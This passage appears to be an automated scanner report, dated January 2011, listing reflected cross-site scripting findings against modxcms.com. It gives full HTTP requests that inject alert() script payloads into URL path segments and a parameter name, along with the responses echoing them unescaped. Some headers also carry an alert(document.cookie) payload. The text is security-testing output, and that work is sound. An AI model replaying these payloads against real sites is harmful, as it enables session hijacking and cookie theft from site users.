Path:   /assets/components/mymodx/css/index.css

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 328f6"><script>alert(1)</script>52bf6ca2f97 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components/mymodx/css/index.css328f6"><script>alert(1)</script>52bf6ca2f97 HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:58:12 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18845

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components/mymodx/css/index.css328f6"><script>alert(1)</script>52bf6ca2f97" />
...[SNIP]...

1.12. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/showcase/js/web/showcase.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92948"><script>alert(1)</script>ab32cd3ee96 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets92948"><script>alert(1)</script>ab32cd3ee96/components/showcase/js/web/showcase.js HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:55:33 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18852

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets92948"><script>alert(1)</script>ab32cd3ee96/components/showcase/js/web/showcase.js" />
...[SNIP]...

1.13. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/showcase/js/web/showcase.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5b0c"><script>alert(1)</script>c4f30413a01 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/componentse5b0c"><script>alert(1)</script>c4f30413a01/showcase/js/web/showcase.js HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:55:34 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18852

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/componentse5b0c"><script>alert(1)</script>c4f30413a01/showcase/js/web/showcase.js" />
...[SNIP]...

1.14. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/showcase/js/web/showcase.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1eb20"><script>alert(1)</script>853d7d885db was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components/showcase1eb20"><script>alert(1)</script>853d7d885db/js/web/showcase.js HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:55:36 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18852

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components/showcase1eb20"><script>alert(1)</script>853d7d885db/js/web/showcase.js" />
...[SNIP]...

1.15. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/showcase/js/web/showcase.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cdb14"><script>alert(1)</script>461914b0c88 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components/showcase/jscdb14"><script>alert(1)</script>461914b0c88/web/showcase.js HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:55:37 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18852

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components/showcase/jscdb14"><script>alert(1)</script>461914b0c88/web/showcase.js" />
...[SNIP]...

1.16. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/showcase/js/web/showcase.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 993eb"><script>alert(1)</script>a90af2bccf was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components/showcase/js/web993eb"><script>alert(1)</script>a90af2bccf/showcase.js HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:55:38 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18851

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components/showcase/js/web993eb"><script>alert(1)</script>a90af2bccf/showcase.js" />
...[SNIP]...

1.17. http://modxcms.com/assets/components/showcase/js/web/showcase.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/components/showcase/js/web/showcase.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fde3b"><script>alert(1)</script>ac728a02258 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/components/showcase/js/web/showcase.jsfde3b"><script>alert(1)</script>ac728a02258 HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:55:40 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18852

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/components/showcase/js/web/showcase.jsfde3b"><script>alert(1)</script>ac728a02258" />
...[SNIP]...

1.18. http://modxcms.com/assets/site.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/site.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7acde"><script>alert(1)</script>9188543779c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets7acde"><script>alert(1)</script>9188543779c/site.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:57:17 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18822

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets7acde"><script>alert(1)</script>9188543779c/site.css" />
...[SNIP]...

1.19. http://modxcms.com/assets/site.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /assets/site.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1820"><script>alert(1)</script>967473d91b8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/site.cssb1820"><script>alert(1)</script>967473d91b8 HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:57:18 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18822

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/assets/site.cssb1820"><script>alert(1)</script>967473d91b8" />
...[SNIP]...

1.20. http://modxcms.com/community/partners/hosting.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /community/partners/hosting.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9675c"><script>alert(1)</script>29ded01edbd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /community9675c"><script>alert(1)</script>29ded01edbd/partners/hosting.html HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:56:27 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18838

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/community9675c"><script>alert(1)</script>29ded01edbd/partners/hosting.html" />
...[SNIP]...

1.21. http://modxcms.com/community/partners/hosting.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /community/partners/hosting.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58b54"><script>alert(1)</script>f50bf24a0f7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /community/partners58b54"><script>alert(1)</script>f50bf24a0f7/hosting.html HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:56:29 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18838

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/community/partners58b54"><script>alert(1)</script>f50bf24a0f7/hosting.html" />
...[SNIP]...

1.22. http://modxcms.com/community/partners/hosting.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /community/partners/hosting.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea765"><script>alert(1)</script>365725ea8f8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /community/partners/hosting.htmlea765"><script>alert(1)</script>365725ea8f8 HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:56:30 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18838

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/community/partners/hosting.htmlea765"><script>alert(1)</script>365725ea8f8" />
...[SNIP]...

1.23. http://modxcms.com/community/partners/hosting.html [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /community/partners/hosting.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3897"><script>alert(1)</script>7a92b5f301d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /community/partners/hosting.html?a3897"><script>alert(1)</script>7a92b5f301d=1 HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 200 OK
Date: Sat, 08 Jan 2011 02:56:26 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
